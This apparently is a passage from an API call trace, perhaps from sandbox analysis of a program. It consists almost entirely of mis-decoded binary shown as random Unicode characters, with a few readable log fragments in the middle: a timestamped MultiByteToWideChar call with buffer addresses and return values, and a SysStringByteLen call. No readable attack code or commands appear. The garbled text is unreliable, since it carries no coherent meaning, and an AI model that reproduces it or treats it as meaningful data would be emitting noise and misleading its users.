ь㍳კ蝇鮑፶盆약캀鳛恰ꪆ䞦ݽ봃ꁅ跫꒷ꊘ빩呦겼鬫の甁즰贫ᬁਊ毠⹗墴ꚦ肤괙⑧ㆍᛆ敏⥏褨譸黦ᡥ﷏⌤盧믩쐦쬵᯸ⴶᲐ휰ꄳ蹼߆㺏뒏쏿⸮䭗趎浌뼸황盛靔ӗ垥摣뫋ꁱꓦ蚽ⵢ皙䥷㝂搽?ꀭ쑀䡼첝⍭틒쨶䔨⢉㑮ꐭඖ⏕ⷚ旿䞬㇔쇄膐矄?ⶆ틃룋輸鸦ꡛ娿隨ᜥᎅ㦀퀒ﮗ悒⛀먄ꅿ煐䑈灝㏯̴⎖⋝薉᫋িಒ࠻౾撕ਧ륬뉁擺獷蝾螩껓≓翨ᦼ▴톌斅Ⲙꍷ뱬䭉韛?䜂춈ٵ䪨뎃⪻䛩爊真ࠕ⬳݃쫘謁튓鏅䑱ᢉ⋔⑷쫀ᶔ㯌섹歄虉橍쟊ርꖱ퉳㤕헵ꈆ殲◐周똛䧠衦䝻﬑➩廢틽?⿈曨븬礦難㚧꙾ⶢƂ壈ꉵ땟ڑ뺓鞬쑐窹인ꌳ﫴⟞彐︳勪撗菩帯퀒ិթ찿㶖좆샰㚡郴Ŕᨚ욌嶪綨箳譫櫳∻曛睛ᭇᆊ耉鎖☩㰻᭟皙祟䈡冄쿒簄煵逷維阘黇嶘䦛胪쀯㛭⛂䓩ﾲｅ⹵᪍妛㔞驮鋰앳ꍒ呶䒍ꢨԄ똴鸁䈢㗵흣艔꼠竍瓄뚿릕㩍쓁㫣᪺츻軽䏱侉ᮑ⻨䟪솃¾鹈ṇ隶䕿㷣☦셵뢷凊᳈셈քꤠ?럴摈骘递Ⓛ猐蓾㌋逖賀겖⨳?濡?䤏Ӡꌜ㎑䜯놾騞펃ƈ뚖쁝띏⥠耡敟䠀䩕ፒ夼딮鷳⽖⟘?輚鰀嵀똊꣇痗늬畱㥩ᓨ?뷬?詝헹臈懖ꁉ⾍ڴं③䏗ヵ㗼ࡱ퓗﫰Ꭶꊭ멇凌ꈐύ簞᷎㘦笔ꔻ㿯咹鈸蹘熲鄳ਫ਼竧车溱╭脈켞凲痩✟螒놋諌?胷⨉㟷絅橽?덯繴ຨ猞꣖㬄뉡炎?ﶽ唌?░띘뽱㻺῏絫拦ꅄᇀ륶䵢뼡⪼⍤۳⧏㐾氿ᝧꑋ椼怪錟ﱱ螢?☪㙄떕֯﫰팤螑෼斸貍ꣶ뚉⏓⋺鳥澆໙⃧翺쯽ᅝ섰섃婉쁳讦⑜贐毸泽㘎쾩꺾㣄޺᾵潌棇碐牱Ⰺ꧒㺯ϥ梻꿟旅燇ሥ就ꠔߜ轄쑀偠浕㘍쟗?欯⯛筩豶瘝蠼䔫씁咖㫎峽礳붼拝荘ꢇ㏕뭀쑇捵Ꙉ덀礸?쁕奋徰??刎“혍ේෲ麇⒫윁蚄菱罟俲淙?૕꩔?ﭐ갂뢲뺠齲蟶苶迡嚝耏ꎔꝄ툼⻢?෉갓撆諼觃힡麗梗㻋փ㧢㚝꤀崤鮔옰꫺枱῝痮꡿룑䆸鷢뗽쵚﯎赔㉛蒽縌構꛽ܐꦎꯍ㎮䏫ﰭ흣칫ځ챐໗繳羢㨰?ｒʼ攭桙㻵縹豅䋆㗗裿佐뱍䤕⒯쬷嚿栤謁?艗氃竲碄\x9c쪕啷扭ꕦ何䡳ᾦ㈥ఙ醤咮⠫廊䃌竻㕹㗦䁈뷸閱哜쒎㰾⌤ፓꅭ닖掻㆐౴눀퉍췞罤荫ඊ鈖嫔ʂ熭?⊸掉⮯⧘?䶎Ⲳ⩃饗ྍඕ᥎霐ᵃ疋ਃ烰͸췓赴䞰陰䰠廠✟?䯤ⶦ茨⟪开⣚螰\xfdd7訽ꟹ꒲탩﯉Є뿠鄞⃬복吗៲ﺥ閂꽱澿熿⧖ﯙ뜭☁䖘発人抣៎帐鲤响摕칡ó褨褝㒛⪴ꔶᅃ?㢑Ꮢꆢ깛㇈á꫞ꭁ⼚蹤⼁⯷吐鸽鮻?콉款♶활쫢貵텨䟥်㉥溡⇥怴砇髭瑮猍ꃶ鶁좵阜憇懰鲁碛śᙽ瓴⡃姍䵽࢐퓴㝈ꕚ汱ᄫ巂읗蹍מּ윸躭洯ᗭ΢㈃䈫ʄ椨쪢舥妽媫蘕ꣃ⫃?㸃ⱦ㤉櫜ꖿ響뎉䪂䀂࠘畃㦮㐔ꣃ榶ᬊꭱ漊⩆૥ꞅ뿆蝔ퟝꎔꝡ鍜✚鞝滑齐彻㪶듓⽍ꓨẰⓙ榝焣斡郱붷絥㺅ꤺ擄䄲佯璝鷓孜ᗜ㧦ᮘ⮥嬟ᩁ芼푔Մ啕㈎㧸鸵颤ص蜺ᆡ懺ࠅ泃㩎䓵缸ຫꭉ䵴떡?ꔱ㯭砩ꂒꇸퟚọ甴ᮔ谈䯚飿㌱혥証揔諸畞蛗퐖髫鱿쩻끗ﴐ弹亘㎸Ž?躗쌏诂鵸䑀県錝Ꮆ↮榝㍚愙᰺槲஀첤䋉襣⛩橐擐傻죰鍳?쎩般폝⿱印歞輀鷎쟿㗳䆜敛튧櫽ꏤ㻵㯋䓥ꗿ瓦㣧祐퇦졩ﶟጼ槗뱡ᙡᾉꔊ苴佚틧赏籯⹾ท쏘㌺獖理卣ꂬ藅೿̇埿寨ࢢ톂偖球勚⧎ሩ舝䨮쇭朅왯ᱵᗉ?稜縙쉍铕Ә俐㍮躆鸣扩뼟颴ᰬݴ궊?ꜗꃗ秌탡仳긙䐄䏛맑ꅞ끀㴓꼚킓鲅હ빑書旪?뮙ῼ㏳隊ზ耥嵆삝⡬ꩢ並뿡퀗蝢₧쬿➂鑍ꀯ귑鐸⍦竵缍犿Ǣ諔떑ᨅ䊘푾쵬繵넋蒢䈥늶퇶ᕦ捘ۉ罢洍㇣⵪굇꣡傿ⶥ纏?딖遡?⩷卨⏠?훩곶旼㫷辙ꙑ觽ᝪੑ唗㑄蕄䴞톈㐐豭瀶㨚岟᭚ᝧ㢀즯ᇧ벩䨫胤Ḉ汐틆툡⧹뚆窾땗驘铁䔧嫩\xfdda㬓䘑뒬壭侨▩Ő῱㆐吆ꚥἎş풉?ၟዖ墽勜ᨢ蛛䊊Ｘ?둴꧐꜂鿌ὓ刲옥遒਍섩㒙ᇛ㒌ᛃ픘䡍遷惃㸴俤胸崃ঠ琄俔햧ꄿ榜ﶖ⷟冘覔摛??鑙ㄈဆ直껕褬碭≳?鼮ᖇヲ퍻䮋蒱⸈韶ഐ蒎僖鋮팪簳⢼淲Ḧ?㧛饦捏啥㸉ᤵ絉몗੦塙ჹ캶䛩䊲定ﭒꞋ齀蘩夘脫텱?䦐번䨸?颒ܕ▖?ᑭĎ痩않贰㭋儦韲껐疫겻孱屓䰃鞽ੜ奫魹㫦飯催睍薑ῖ壼ҔՅ缻砩伻矴圼칵嚷櫗轩㐺쥱◫ꩍ܊ⵂ䄠濑낓綘ʧ㪐ꇀꄅ谽榢걲엱઱?䃊좌闚ꋲ㞗餀뚉礆遌ᛅ⋆俐鮝⢯熓宩鎩䏁ɿ䖍甾筮榦샹䅦煴ጁ腱逕䓹硄榎톒竞￯억ᩇꐃ畯殨纵됑鳫ྟ턢?軬䟹⥽樒猌턵돪芯䪐⑥컣捤痲깧㳲ៗ腽웣ᘲ崍౮獾उُ﫨⼫엓㡫炇퐳▸鸝륰伪鑎푓뫃ณ窺苞ᤃ籐鳱킠葳햏賃沓ڗ葼펣༢⼔㥓緦騬䰅䪲蜲ꗧ≂橜쑐㳐짴ᖌ幊셗煿续氦є즥ﱣ㻳㯨신䣿↙⥆轭偓蔃㏽㚽⠩ꦼ綊᠚鞫챫㌎?荎ꬖ꿏१۶ٖ蒘蜒㿳䯿辂뻝꫅᫥暨籦ꗀ냋䚒쬷ꃶ쮦㛸ឝﾑ晬塛參孓팵ᅘ﹟㵙ሑ㸫镬ᐱ\x01໌䢴鮓㑣嵫冨?朩녤痕풱ꔈ?凰᚜Ꮏ砋쫕ዲਔ龶䫧䜵Ꙩ㼋⳴㚅蹱鑋Kச릩뀈᳅逜瘀Ἧ䂬化붭┝齴黖蠎䒱㞭萀ꇝ攥᾿ᵘ뙠톸य़ዴ굏拾畨䯳瘼嶇郄鹙Ꮾ罁ᬈ”폩婨鬞쩩歛蓬읟㞄庸熧褽䗷뗚禽묪㺗芾갿뵲↾ਪ㍂ᐚ풞叴ⓙ딗맒袺ᚻᱜ谢왃ꢠꛔ?텴곭놓㟷⯻깴傶㪢폺ﵫ䊇쭻๣䧔팱껛煙劜⍹甆?ᒌ塝撠媵ㆁ휹⁰ᗤ⒨嬥胙ᙂ籙뗜䟄僚∼瓷릦裹⥏ᑬ秂쏺闱?쫑ၤ㎮銾㷊䯢︭鎅寛紦ᑑএި꧃㈯疫铚쫄赮帉픾담㋤䜲神靄㋻謔̗줢抖㰪肭૨蝗⏔›굒☄吓熚ꗂ㍸킌劼鏾ಁ㳺右⤋䳒ힷ革ᭇǩ➆귕胗꺲섇蛾힃埡щ奥岾퇪?띸刕潴檟柴碢ᐄ辙㗂赚蹑ヱ긳?㛱粴屉Ѻ叞雓⋸ᶥ䪆䉛᫮↻杸깐엿䗴ቾ䀿䇇읗⭈⋔?㦍䉓訸뵈죅趆㝱镍蔧뫓滺Ҩ쩷醦湔픜꠺廰⭰㚇뺴뫊抿፸뉀㑪궗媢堪䩟뺿?方ꗎ굮峙?恊ꡖᥣ더㋍ነ巏嬂Ჭ怷琣僺ナ늨耖⛀榱⑶џ뤤騾㳐솷鶨?뜿嵒퀶롆툔ꄱ㮱룙剂⬬츥挅概娭ѣ噏糡㋳縝つ䉮샖袳냍ꃱ뗾惶ⵤ匇㏽㓫堡掶啑뵡䑩굳솼ᵁ?꼲⪂⇱爘輤䁤﵀劶회褒￀ퟫ꺔ፗ늏⭂郐띧弃﨏阦吳慪䢐무諓⤭﴿蹆剝쏋砀퓚䪸䌲ꔰ彎啚챨ટ㓿怘∑鏖쯏遼㈰ꥤ匚왙띚䄕끜ᒒ䮕㜂잠箥爱꽍롆泴ꋠᎇ綤紶꧶笆㘮붵ﻥ쐇?֏ⷃ⠎넔㐃퀩㙘䊞肇볭ꃎ๫౞毐䶍孋ꯍ埞倊ㅡ㟜╟˄皐㻰ㆂ늙玥̞掌蘻?崪䯣牸㼈ㅘ䔅圮ᔔ赘䁍穽ᯢⱚⅱᛇ䥭ళ쳈蒜뻵倌Ꝙ좈蕨?哂릵悃쮵唤⮋ᙶ괌ㅶⅡ㿄衛麖缣ۿ눴蒂ﰨ뉶∰屒⺻⦏뒹滗儇됀娠ꔶ맵䕰啒㘂᧱퐋׼樚鷭뚘︔䒧๢ꅜꕨ䇆᫲㟉롕儁雨궨袎갱뽝齻嘂䯕Њ뼄㎌ܧ莒ຢ✢ᗮ瀍헔㟫䃛Ⓨ嵬倫✹耍ⓐ輐Ⱉꈁ䄫?鎋擵亷ꏾỡ໋¼稨뽮Ⳟ憅錨쿕?ﰬ洘麍⢸ሸ笝鯎౵魤쀱煹⺄뻅눳躳鷡罺賁?룈恒弱魣銓겊㍙诏ᤲ乼肫ᕪ⣰饴僦혍⍪ᾡ̼讂现穰糹㏉ゟ綵汢꟯薒帇僚炢佪㬋跍驺ԭ첺鵂뤑凴웪叄걔녕䎛岒뛛︋욓ដ嬐色妱流鴌챡䗕慲?箑ᮄ〈ꎊ负稘⬨᳼뜾脲噻膍랭䚮栿됮ꄨ鄥✝푗訨ୗ輔홉?稧尴?쾇ᜐ毗榍癩눸⍖?ᘋ녓簒ꧩ⻏鷌폈균᷉㨥ꨂʼ捑꟩쩪❊ꏻ뙐냜镀죮碵綠仝꼉霈䗟ꬡ㪵̬妈䐦ۇ봕눷瓉ῶ㌝㡽葑ፎ⸑ꎭ쐮﷊㴭⠤乄ܒ쨉ꋎ밚찣岨嶅楇햶動䴥差콇냖悧㈾멙⸊贎韛떁傊㓀៦鄾똀埙쫒첽剣鈓᏿뙥ꓭ龔꤈〝癄ع繬榐æ炮⼐☋?蓙䩳럧흓ﺠ蒑䰭쯕ᅲ異䉚ᓛꞍ諲輐飲ᑓ䨆鸬꼑㇞塥悭囒천昄믐鳽㌅禫䂞畦ᥙꥊ腎꧈デ儀㶬ᰉ疏娦͂捋ꐎ䊍鼳䊧镼㉄⩑頗럁䔎䘗ᬇ깳ଋ벿휤䭳嬂⻩浱褴잎਽Ｙ뫼젬杣㙮䫻ꋵᖍ畉匠聺궛耊娅먾됏蜅㹂ᬛ⑖咶넞翷嵝㠊៼ꔟ錐?ỻ廕લ?著銁艾춆䀄ǿ❖셋㒍ᦀ濻箨⨴涨叐頒뻛㳜珖䂚ꔾ퇽袕역䝜ꬽ?愈⦑쿦蝘䮜묷烟壩彏瞒䅺䈍₉櫲쩑㢺⯨唅睎柑䙑⸷䙑୤耔ᒱ荱㬸뿸瓕笄ꆏ圗?밮\xfdeb둪톲屗毙삞Ն⎰斗붅崙뒅仪줕請㠍朞݀?ᨷ➡冕䳫玔?药ꊟ囮㺃]䤴൘ꓯ箭䥣묘굼ﰆﻤ᳐䔂۠?쀎?㒂睪쫳䞲由헬?茭ᣭ⽎⧐꤬큖㥤?雳퀬慤毁溈骶ꭿ˙⋨벸⣮睏돯銂忽ﺢ쥱暰뜖Ѵ穈◂?큉滀鱣꠆䍇폹칏氮ጨ?툁괼睊냲礯൒뚪븀鶇鄅忳ꑡ慊ꊊ४撦耝潾?깂灜ۚ줟듀칶筴藮蚬櫸ꫠ㑀?ㅼ\x8c嘁쓲䄚腔Ბ귓㵨쎎ব秤酢敞댝卓昮䲕䳤砥衂룆旃뎑喣쮘ꛔ羶壠쎅뒴໑抮ꒂ嬝龜㒒ꗥ᷵䝵ミ롄儼맲鵠䴝꫸颭⩽ڲⓌ梒尦씐吒칬ಃ₍핆넓厑ᓏᡅ빠藻苧뾔ኲ릂儶遅Ɦ蒱⣯㱊葛ᄗ⃟縚⅑鸐玱懏쭄䕁풘뜉媛㫚ၵ跧墍凤뼟⃿绫ふឥ啎厌垏?♧̠語됽盂ᷰ猠?腳菜勞꾿힘๾뢐溄겏请炅儦ሢ?涮ᤚ᫑훵ส쓈躱࡝䞼斈ደ輲궅阳ॴԆ乘Ꝩ璱᧧隗츭릿鮊╷㇝儋농盯厢塒૷끡뉫資幦逪औથ欙郆㉯쐝ᾭ῱랂⁸㢱歼㳅嶉辺날蕉側ᱛ驅牰⛬崠囖?싵㓺艹鄺馡॥⿺縐銸᝷臎畊쒍?鄇ﴪ⸍痈縤꟟崥㨄⹠矿橽쾡礦") returned 0x5d40 [0122.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x14ed894, cbMultiByte=23872, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23872 [0122.154] SysStringByteLen (bstr="Ϧ┑ᴯペᶯ覟鋌祁킴숰?䀯ࣣ?闶Լ颤ᠡw딈흃䈶튼ﶍ罇❇쮏慶凘켂瘕鷪콒䩛ꀉ왣䆖莚䄍ꠢ드✽ⵄࠐ질䲾瀻뗩룉Ი薩랧ﾞ宭ஈ稶嵦㗨瞷⭞鍐휼㨠⏃䈑唹篫룡졢힗?䀸뷰ῃ흶⍁莩ￔﴤ࡝䥌ꄇ설껱ￚ綯᠎唴ᑪꃁ犰熔闉㠩뺀檩摉薊垓䣽鰉츛땽⥩뾑?学鍵῏⣽閤?쩾ᐁ䶂?霹ᡎḮꍽ䧖?ﴻ霰ꑶ듄颪⽃鈹ⴗ㘍?膊ꮩ罥⹌ᮘ鲚쌔ᴾ⎠욋毑ণ髇揞脣慳譭዁┵歭埵铽ჳ꺄菄㜝ᩦ탬ꤵ迥粢슬ధ恖⓵搢᎝뢀ὁᳫ뗙ꭨ?๮ꏴᗋ㩪⟿揇鄩↣ⴣ\x86➶힞물厵箾ఘ粈镡袱儭㙼䆋?䅋圀꿤벋⎤虻ԯᦗ䘬挐ᚫ㏐ᑽ꾔巕競፽眝ꔹ僨ꨳ籍竭楡Ⓤ몧稿ృꚜ崯᱑Ὧ叕膊踢㓣䘖袇毴脱刧?ர곖骂䊭﫩庣蕲疀殺۝먶䛹?攉뒏酄䱬?咋Ȁ䋕ꇮ鈀ᵇ馱壂僇੗꫖퉸ꀯ♄犭ﱘ?婰⦧꣌꺦ꌚ̷㓡䐁胵뾘돥炾廨ꄄ⻼襺㕡퓮¸䇡䔝␎冞㹥ꎫ慑⳯裎䍌캭搕ꉾਡ焳ૅന菎뚹冷喘졼嵋Ṛ胘뺭帬ҏ㘨엽㏧ꀹ?크诳ﭧ鐫巶졊黳栞ﴇ苚놤귗㐰엔坪?ୀ紲硑脁鑎ސ溵迶ϯ驯乄廳ᢶ枿ꁉꇐ鎧ꮢꘅ鰎ᅬ樜쉋쫤簼㿜뤘頜簑幡﮻㲝稺瓋풩䟉䱠筇㰶얆굊࿙볉䭇빢鯘艪虝⤓ↈ틺૱讣⌎ꇤ飚髈踻頨䞋檵硚㢤✨๜榁㈼ᦔ豻亙靁㔮꥽锘䜅杏?￢駾핐䀹靠眦穊Ꚅ䩘鉐ㄧ妩◾띙ࢶ鹦况䴻䉶⮚積⦷韕閔䰻퇂䇄㾳꫁햵㱏잘䃘꿏㇀ﮅ嶝೗⢿쮞긊쌅胴鄀댟豘瑼뚱聪ꑕ伃휍ꢻ硭ധ鶖✷ᶼ큤冇⏭ꦀ䚖벺థ쭨灝㙾ㆭ淀돒傼絶罖ള㿝ྨᆌ榓悛䣝妭䜟룓❴⊒䄚뒍ო뛬⼥郙?ᣫ傶끸⩾?ᡓ稻펩സ樅ࡱ䨀㯻豙?惢璢ẍ฽䙟ꦾ䍖﮵࠲퇞쏠犬츔䱦鬃ꂀ➒퇪쪂軁ﰚ饞졝꽷?윋딉ಪ䟜뙮伝뎐却븐랭沓晟돡쾋倪䞝栭뛂⪉㿉⼨蒾⠛߆ᚫ㷼뒗Ნ憵蝏㡍➷ꉹ놕䉨끺య鷳┑愬㼈澈氤᧍↾蠿못붗颹틇ʧ띟傓㎸겷᚟㬀荦ꉫᜋ?빚榓轭㲱賵ꊗ쓂ⴈ饡鰯ᝲȀ埰?灊ҧ쓘ꙫ無巏ꞧ혆졵取퐖‣빙埏鿰觢鍛⫶ϗ쳹㋉Ợ색坦ꍴ冷?觼톩䴻失ꧺἢ㇎쓲ꀮ聾寇莂닼窵㏬咖峠﵇ぎ쑾缣⣣앏筯싅嘧㹌䅤琸㚩㩿᷉髹꫊푤८柘컉貿萀帏?籽囪ꄍ鈞㉄珑惺댾神鼖㓃倂䣻횫פꈎṤꗏ鯳폼괇퓉櫭壆୾䋕쇫澁橢갪䝇㊴杼씲該皐墢爵㌃陥ꦊ櫐䀭வ㛳瞉쥸䛖䳐㑴꾏뀖ࣥ恶棹拚च探潚㿒ꑼ榚駸ϋ襁㙍ќ糫?ᥙ푾呵締?ᑀ惋ძ낋錮ᓁ儃ൈꢘ儰챱ހ萨鼻ꪆ㙾褂ⅶ?⩵믾넴鮑?댳ￛ乓툼苤判꘦띄퐬斫꿌♀頿⎡୅딊㺂愍挈剦⦖嚆宻?쩟퐪㿕⎼ﭯ嚵⺈DŽ껨檶た➑샦婕뼺䢆胣⯽ᵪ⒏먝Մ੷繿렖琘梅鍽쀱㗰쉑젒郷봤숮政殘茋鷎漟⿐芹萃?理喛⡜럪썚룜傌঑⹈㔎鎫都ㅮ⮻ᜌ?䇿䟠雚굜?㷞岟놤㖽귑䱑䧷枝q咽준쐱尒ຂꨮ䤕郵๞빨钣徨㙬懃艬剟㈂禫⌁⮹挝㿑嗏陘駞没閳፝鼄죆죴濍≥덈債힞㸕䗳篧矲䨘չ㢫ꏥ셸⤨晦醙䰆灴暭ს셈ﳥ몴ᚰgￗ밽✬메쵡췼쿄〞䥟髰ꓣ呂淑泋㲭촜㸗?鬀ᚈ嶑羆穦₪쎪㧘빐珇ٺ⛎ꔭꉈʪ舴㓻䤻⧢契썳챡옥〒덡앥境뻌૙ွ또䈂幗塓칥嵤棠ᓀꎆ?䝒嫁垖身᲏煝☟鲡꘶匸镫ᬓ얌媱硖뵘䎨쾮퉟枓닺ᇃ阦겢᭩鷮捽ꡋბঘ㺐䚫ὥ셏≩鞌ཱུ뜓ꬍ鍎槵箑ᑋ楮훍䐜?뗿ꀢ␬ꩢ櫼齽⚪㗱⋭攂ஶ蓴楲⮐䕂렗ઃ꺛铘ጔ袼韼鋓ꂸ핺ඊ悥䒡檼䪓둇傷ﾅ컲媩큄萝爧?င黱䨄ᗋꔿ悇麊ӊ浮캨덼ᯂ쭌﮾ꝇꄘԊ틥ካ⼁噻刐ॾ驕⥩㦒㯶⅏쥛ៜ餫ꛕჲ왼䙥蔨췶⵭疠죶⿣傍켝䵍ᑡᵡё猢묃⅃삔녥刽炪ၨ斝⭈⸽䡑㹶￢랳䇷郑அ筥됌澎說ꁷ幛ក꟩웣⦷뽒㠶⏋?齇쾇箁럂㶘ី官쑇瑸㎼렆㱄ꛎᷮ뛙羚딑웿⾕릦颫弰㡗曳ꈹ溷ﺐ筲㼣ᛲ?ည䖴弐宨ở契舛蹚逾ᑧ黟平῭省មఏ㣤ⲻႿ஥✮呢ﱩ瞦곖큇촹譄﻾哃ﻺ炂㋗艍푌ᮝ᥀ᐌ핲㪓饛儍驢㉖ꚃॄ拷쁸龔걝燩緈Ŷ헑鐘⛥꠷䕒쫺䃫ᣢ䤇䧱ᗉ壦⒲峞Έ칒¥难魫噮直࿧ⲿŀ㏒ಽ㖱胕?旸䶠麶辂훴蘋痙翰⩑홨㳓蓚⌜쫝썭襰㶓딂࢝쉑䚱邛쉧祯털⌵?꜠緂뻡ⱷ騹騎蹶鷠䂡߱곃簐炿벗磘鵓魒᠓㤽饨폫棝蔞秌龿暟기禡ᡉ⁗몼ꛤ읔∞窻洘鼀鍅䇆扞嫕痬⇍⡘횡麻븗랐簳ᜬથ䎪褃几郌㻯妰﯑錴䨅ⴌ㡥鹬ᯱ?蟖쬃\x93ⷚ斄즗덞ᮇ㺎쮤甎䑓湦籌ɿ泧뱐삭᫣뵛༽뢃ⰰ곯吟Δ꽏홒⌧ꥮﱭ摄犪槧뗯嬞?酒ຘ剱䔍ꆾ蝍ꪷ嚔篽혺⼜⨶?崦律쎴뮆⑐齰葎湏᪠瞥?䞬㾹궉挟쉅뛇聊鬣ﴉʰ后⁻ﱻ㌾䤥ဝ䰱팝韚덴푪쩚涚쳼㡐⵬ȑᗠﰠ瘗뒁摐䁡㓵媳켬暹ٯ悅ो甈⽀ⷢ톝蹆ቓ頾딞墚멜Ꮳ쯧敉鑻_㮒ߺ貊룤Ƥ풛赅Ꜭ睳굟幢ﳅ㴸썀_匔䇺Ꭳﮏ唛?館쯙➐㳓蔴糠雯⚦꾖甉橆㾈²鉣뱴ᕐ侻?ぎࡘ췥嘀툶Ἄ钠ㆾ醦硜Ȋᆆ吣渦㣘䵌ﹲᝫ뼹㷴ꄧ៯ꝿᶬ䫊盲┵矍珖訯鎵꛶噅社뺄䜍\x91㐦㪵鬉桞啋䴂༠盅詣螺㐁뢈툖脄␚焤봛갂◨ꌢ埢㚸俻㞴芥Ờ?维㽂Ɱ?ጵ먐䋅抠퐓锉⹳곃푉傛퍐盉쏆❅㩹ꥦ픷좯鈎됺䙼먷ꔘ䮒䢫腚촚急ﻆ塧䔇㕎鯜ڜᙗ赍纪貊镋??몆?䠤潽ꇊ䤕鷘醁뻘鉕䓸百ᖰ݀簢쩭庩긽୺ෛ蓐騔䒣軰䋻떟못桉◎ꩫ荠ꊶ쁧婿帿没鋴橹妰瓂ရ捸哪)쿔旔剓2歷朞䀟얍痹л蘒嵷뫥붵⠖쭧둡ﬠ焽⯋཈䏕䇸֚儹ꌡ溻煬쨢坦葛쐗Դ淿쪗㒤ࢮᦕꈚ敫广힜猶翋‸뉁됲깅蠂툋ѨΈᱧ겙㔏霍䋙麛ᑨ䎵禴僧큁䃪ꑶ枞අ༺騗騰沀縉莵꯲几瓥瞉罈뙴퇤倮礱戏А࿂㼆⿐롱꥚魫ḟៃ쫻䯱䔔풗㏚엢遏뤹ⷈ걸쩋꼚趘⋾쨁麥呧ẍᓪ쀔㹀㥊ꝑ㰽⹔᭣怼ꐓ⎍钙畐஘䋊剅쥊?広ࡩЬ㴭껸ษ絒㔢?䃳芆쫏듎꿻꘱㸙郓足袾箞?ᐞﱯ醥?ꉳ圄㞼?콓챨싯쏱๎?ל죾ㇵ態漄⤝ꆑᚳ稦ံꊬꙟ嬔欿ༀꐨ㢿ꧦ鴱录䲆ꟃ藏謉럢켼?ᡵ봂狲秌ﵯ眒냃灡뫡舝聀䎛쐜㇘漋ꌠ⭥魌戎㸐ؒꍅ塄쉱Т悦␞빅쉶鼨蘀벝㦄孽袟ᯨ歨倩᮵๗蝡붍삃粺뽻ꡒ娠餆儁㊝뼤뇮뢏᩼턄ﯤᒚ痨ӹ聇▷뻵ꨙ볻쮠ꈑ関Ǟ֦뗽?忙뾊㘭ㆈ苾긵䕰歝?褫昒隠?老존ጡ倕띱䑣嗬ޡ爵崧ꦐ൵韙圳잵卟꘩辶敼零ꯃ?疾夜忒毄㨭蠕洮絯俳跉໬䀊㊣䅕㙁⁕愐驦狅笲蟡??ᑃ䥇䈇苩ꄦ꼰鈋쥨뗥ᓵ팘⎃믋욜캌臌ꉂ⊗돎慒憲龬⣰怩ꨂϓ僥㐫慶뙆琽뤡잼₱僻䧴촤쒀錗ᡨ壽ﾨ匩꬀홉劷□冓켝踏?跍焽䰌붣姜므উ◥崦뉄즘텐ሓꀨᄷ뺣ﵡ⫢樝즵䫍韭贞敋뿂ﭛ?뼰毦䡇妤윶蓈녣훃ﰘ蚉꼂퐸䎙ᇱ㑣教鷛淏곺ꄥ枓郍杵엵굎䔟ᬍ浓荗戭ᜣ⮼㽥⿅媎⋂榗᫸䷆ᛈ?喤힨὆嘀镝퓉ꦎᔨ䲤댿簪홭綤ꂦ⧻\x15礪▌य＇臞⨏ᝒ먼鐔圎欞逻礑㷥ꤥꐣ漿⿭Ꮲ尻ས摕쩖릹荛侹퀯侽⇞ጷ퐝古ﮐ࿗᤺녊࿻掮豤꼒࣌옊½䝸켤싆圉츬偎챇ஜẗሑ딧ꇜꄒ갚뿵㥼콒̗鈲⨏궼溳穄蠛깮᛼䀹笟Ł幬퍹爙⟐✂월鶭ዂ韬᠊ꑫ̘႖␾⥵㟇ᥗ滘靆ʃ羵皢羷㝫㽆İ簻આ徏沫鲂ႆ퇣ꅎ長糟௡겲쬅막灍憂棎鳢?餹㺨㾱蜋೵꽊ﾌ绕滑ᔋ㤱Ⴀ絘梮劝蠁笺Ｙ￠ｅ艬噔ϭⶱ툉請⭂完锔↛䞖㉋픤䧤Ῑ騾⏪隚るѶ틤貆൶랺绺￳儕錈㯡ഖᎱᴚ繋㎺ꌥ䆆｀ᒗ㞈䫨㵇??撚百ଏ່듢㪌㲧㺮텓箫炱ᴄ֫럃ᬄ헬ᔿ햜㦧ᛪ论ᆾ元䄵坦럊斏쫯铿ᑯ읤啄⋿ɜ飐଒쬴僄诌ો眛?箞廏릿鑋骶ᒒ疷伵￪톤㙩І斀歜ﻑ밡̞圇酜酁ᡠ췣ꏶ⣢?哱辕潇씰䴣龊ⳡꋡ?笚픾搗箭ஜᙩ?ἣ䗶창㶡◰꘯貍嘱ᐉ⑽Ӽﭲ뵥搓絯둥䖩柉ⶇۢ娂좒吔?筈䟛⦟꣣襁㰆₵䖛庋ᙠ䋍톬Ԣ咛㱚恩֣铋ᖷ윟鸪ከ鏯隯蒓⣅﵌㲘刊᧖铵娙抎䩸火꽽룛娈⸃脿쟭뎭婓ⴕ䦩宿뛇꼑▯軧젱۠絁銘좛㙓럾굅胙︦写⦩赾轪窘׾砤ᾢꋌ섌ク쁉䘛燸쿪脔꥔ꬁ\x84窊刭扲掅褪顱骮㢤✦뵹웗偎퀓昷珷ᕬ꺱뜁喺鷓ᛀ浧⸻턆ꪌ购엹ތ禬绠᪬詨ꑵ愮곤ﯜ왒垳虑防꾼栰ᔗꚓ㌲䞉኎㹣횊쿜䥴९첷賈뙇偷\x83薜᝝띸뾣睋륄呰?蔎왰顱诩쇕鲁녰띜녇범硖ƻ돴毃⬠⾰⃀︓钌躤쓫礍ꉐ䐺Ѿ霦䨞ᩯᒊ尳酺궓輗乨礽茻혅嘾㉡䅚愣㬏䥭㬙恜慓㢊퇒崜㛼홖⚕꫗ᆴョÓ?컧?焰뙢遈ﯜࠓ텍趉Ṋ跡諀㢆呕쥂騉㴬䷷ힸꟿⳖ?౑蠶?閦㴂鈋줭알㘰ᖡ롃光ࣥ痌ね䪏?ⶻ朢돂㒋⍹鷯͜랽浪튤䭀귈偻㬶뎸ﱦ鞞饠뿱?層썓졇斈␷䂺洄⼖?น둲?꫽ヤ紥킁训쟧헓錬ܹ婐Ƞ韘㕓ﶏ뫣?䨖膘呤ꞈ﯂ೞ緁㪾꣙廊㼢둤?⹙夦㊿୆㙞޺澨䨳灤軻꼐ꝼẠꅬ䤻왫哳ᣢ芺詁䩅ඳྦ턭澱ⲍ羂❫番퉯ဦ޷뭈ಈ?↣뮰屁Ⅽ앷聭퇧䐗쐄路秒銅횅?咧텺怄᠝✵≩ꌵ뀮変金趢ュⶥᴒ쀟犠쾯太鴟෱ퟩ竈⏻盘勤蚑?଒웃覟묑偀皂酭ᇐ軘鷞䙒⑦၏⸧ꃬ炐句ᴍ潺垨앸峨?濚䬙茍ᮤ⺋섉囗轓볐쫂鶭゙晍옽펽ἃ\x16ᰲꭤ峭ଗ鄚礯蔓ꡙ훚㵦஌?뗙腷哏✢镁ퟫ薀㐲拯҄㈈莾꩑̆睒敦